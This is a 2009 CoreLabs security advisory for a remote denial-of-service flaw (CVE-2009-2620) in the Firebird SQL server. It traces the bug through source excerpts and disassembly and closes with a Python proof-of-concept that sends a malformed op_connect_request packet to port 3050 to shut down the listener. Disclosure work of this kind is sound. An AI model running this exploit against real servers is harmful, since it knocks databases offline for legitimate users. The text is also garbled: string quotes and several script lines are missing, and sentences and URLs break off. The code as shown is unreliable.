CORE-2009-0707: Firebird SQL op_connect_request main listener shutdown vulnerability

Hash: SHA1

      Core Security Technologies - CoreLabs Advisory

Firebird SQL op_connect_request main listener shutdown vulnerability

1. *Advisory Information*

Title: Firebird SQL op_connect_request main listener shutdown vulnerability
Advisory ID: CORE-2009-0707
Advisory URL:
Date published: 2009-07-28
Date of last update: 2009-07-28
Vendors contacted: Firebird SQL
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Denial of service (DoS)
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 35842
CVE Name: CVE-2009-2620

3. *Vulnerability Description*

Firebird SQL [1] is an open source relational database management system
offering many ANSI SQL standard features that runs on Linux, Windows,
and a variety of Unix platforms.

A remote denial of service vulnerability has been found in Firebird SQL,
which can be exploited by a remote attacker to force the server to close
the socket where it is listening for incoming connections and to enter
an infinite loop, by sending an unexpected op_connect_request message
with invalid data to the server.

4. *Vulnerable packages*

   . Firebird SQL v1.5.5
   . Firebird SQL v2.0.1
   . Firebird SQL v2.0.5
   . Firebird SQL v2.1.1
   . Firebird SQL v2.1.2
   . Firebird SQL v2.1.3 RC1
   . Firebird SQL v2.5.0 Beta 1

5. *Non-vulnerable packages*

   . Firebird SQL v2.1.3 Release Candidate 2 (estimated release: July 2009)
   . Firebird SQL v2.5 Beta 2 (estimated release: July 2009)
   . Firebird SQL v1.5.6 (estimated release: August 2009)
   . Firebird SQL v2.0.6 (estimated release: October 2009)

Please build a fresh CVS checkout to have a fixed version sooner.

6. *Vendor Information, Solutions and Workarounds*

The issue is resolved in all branches of the Firebird SQL repository. It
is registered in the Firebird SQL bug tracker as:

7. *Credits*

This vulnerability was discovered and researched by Francisco Falcon
from Core Security Technologies.

8. *Technical Description / Proof of Concept Code*

8.1. *Introduction*

Firebird SQL is an open source relational database management system
offering many ANSI SQL standard features that runs on Linux, Windows and
a variety of Unix platforms.

A remote denial of service can be triggered by an unauthenticated
attacker, by sending an unexpected op_connect_request message with
invalid data of length greater than or equal to 12 bytes to the server.

Inside the server (src/remote/server.cpp), the function
process_packet2() processes a packet received from a client. This
function has a switch statement that considers all the possible
opcodes defined in the protocol (see P_OP enum in



3404	P_OP op = receive->p_operation;
3405	switch (op)
3406	{
3407	case op_connect:
3426	case op_compile:
3430	case op_attach:

- -----------/

 In the case of an op_connect_request packet, the execution flow goes
to the following case in the switch statement:



3584	case op_connect_request:
3585		aux_request(port, &receive->p_req, sendL);
3586		break;

- -----------/

 After calling aux_request() function and executing the break
statement, execution lands here:



3652	if (port && port->port_state == state_broken) {
3653		if (!port->port_parent) {
3654			gds__log("SERVER/process_packet: broken port, server exiting");
3655			port->disconnect(sendL, receive);
3656			ThreadData::restoreSpecific();
3657			return false;
3658		}
3659		port->disconnect(sendL, receive);
3660		port = NULL;
3661	}

- -----------/

 By debugging the fbserver.exe binary when it receives an
op_connect_request packet, we can see that the conditions of the first
if statement are satisfied, but the condition of the second if is
not, so execution flow goes to the port->disconnect() call:


005ACE2C  |>  837E 0C 03           CMP DWORD PTR DS:[ESI+C],3
    ;port->port_state == state_broken ?
005ACE30  |.  75 1B                JNZ SHORT fbserver.005ACE4D
005ACE32  |.  837E 1C 00           CMP DWORD PTR DS:[ESI+1C],0
    ;port->port_parent == 0?
005ACE36  |.  75 0A                JNZ SHORT fbserver.005ACE42
    ;this conditional jump is taken
005ACE38  |.  68 D4D65F00          PUSH fbserver.005FD6D4
    ;  ASCII "SERVER/process_packet: broken port, server exiting"
005ACE3D  |.^ E9 44FDFFFF          JMP fbserver.005ACB86
005ACE42  |>  53                   PUSH EBX
    ; /Arg2
005ACE43  |.  57                   PUSH EDI
    ; |Arg1
005ACE44  |.  8BCE                 MOV ECX,ESI
    ; |
005ACE46  |.  E8 65D7FFFF          CALL <fbserver.rem_port::disconnect>
    ; port->disconnect(sendL, receive)

- -----------/

 The type of port is struct rem_port, as defined in
src/remote/remote.h. This struct type has a disconnect() function
that is implemented in src/remote/server.cpp:



1464	void rem_port::disconnect(PACKET* sendL, PACKET* receiveL)

- -----------/

 Inside this function, the following code is executed, in order to free
both the sent and received packets and to close the corresponding sockets:



1492	REMOTE_free_packet(this, sendL);
1493	REMOTE_free_packet(this, receiveL);
1494	this->disconnect();

- -----------/

 That call to this->disconnect() will ultimately lead to the
disconnect() function in src/remote/inet.cpp. This function is
intended to break a remote connection, and receives a rem_port
structure as parameter.



1731	static void disconnect( rem_port* port)
1732	{

- -----------/

 In the first place, the function closes the connection established by
the client, by calling the shutdown function:



1763	if (port->port_handle && (SOCKET) port->port_handle !=
1764		shutdown((int) port->port_handle, 2);
1765	}

- -----------/

 After that, as a comment line states, if the current rem_port
structure being disconnected is a child of another rem_port structure,
it recursively calls disconnect() to disconnect the rem_port stored
at port->port_async. port_async is a member of rem_port struct
that describes an asynchronous sibling port.



/* If this is a sub-port, unlink it from its parent */
1789	rem_port* parent = port->port_parent;
1790	if (parent != NULL) {
1791		if (port->port_async) {
1792			disconnect(port->port_async);
1793			port->port_async = NULL;
1794		}

- -----------/

 But when that recursive call to disconnect() is made, the
port->port_async passed as parameter to be disconnected corresponds to
the main server socket, that is, the socket listening for incoming
connections on port 3050/TCP. Once in the recursive call, shutdown()
and closesocket() functions are invoked, making the server to stop
listening on the default port 3050/TCP, thus denying the service to
legitimate users.

8.2. *Remarks*

As a side effect, the fbserver.exe process will enter an infinite
loop, consuming 100% CPU time.

On Windows platform, in a default installation, Firebird SQL server is
installed as a Windows service, and another service (the Firebird
Guardian) runs together with the server, in order to automatically
restart the fbserver.exe process if it crashes or stops running
abnormally. However, in this case the Firebird Guardian is unable to
detect the denial of service condition, because the server does not
crash nor stops running.

In Firebird SQL 1.5.5 the behavior is different; the server will crash
inside the aux_request() function in src/remote/server.cpp due to a
null pointer dereference, instead of silently shutting down its listener
port. The problem arises when port->port_context (which has a NULL
value at this point) is loaded into rdb variable and then, at line
885, it is used as a pointer without properly checking that it points
to a valid memory address:



884		rdb = port->port_context;
885		port->send_response(send, rdb->rdb_id,
886				send->p_resp.p_resp_data.cstr_length, status_vector);

- -----------/

8.3. *Proof of concept*

The following Python script will trigger the denial of service condition
on Firebird SQL, by sending an op_connect_request packet with invalid
data of length greater than or equal to 12 bytes.


import socket
import time

def attack(host, port):
    op_connect_request = x35     # Request to establish connection

    packet  = x00x00x00 + op_connect_request
    packet += "A" * 12              #Invalid data, must be >= 12 bytes
in order to trigger the DoS

    print "(+) Connecting to the server...."
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    print "(+) Sending op_connect_request packet..."
    print "(+) op_connect_request packet successfully sent."

    #Wait 10 seconds and try to connect again to Firebird SQL server, to
check if its down
    print "(+) Waiting 10 seconds before trying to reconnect to the

        print "(+) Trying to reconnect..."
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        print "(!) Something went wrong. The server is still alive."
    except socket.error:
        print "(*) Attack successful. The server is down."

port = 3050
host =            #Replace with your target host
attack(host, port)

- -----------/

9. *Report Timeline*

. 2009-07-15:
Core Security Technologies notifies the Firebird team of the vulnerability.

. 2009-07-16:
Firebird team requests technical details in plaintext.

. 2009-07-16:
Core sends the advisory draft, including technical details.

. 2009-07-20:
Firebird team notifies that the issue is resolved in all branches of the
Firebird repository [2]. Technical details will be publicly visible when
Core releases its advisory. Firebird team notices that Firebird version
1.5.5 (marked as non vulnerable in the advisory draft) seems to be

. 2009-07-27:
Core sends the final version of the advisory to the Firebird team.

. 2009-07-28:
The advisory CORE-2009-0707 is published.

10. *References*


11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:

12. *About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The companys flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at

13. *Disclaimer*

The contents of this advisory are copyright (c) 2009 Core Security
Technologies and (c) 2009 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.

14. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
Version: GnuPG v1.4.8 (MingW32)
Comment: Using GnuPG with Mozilla -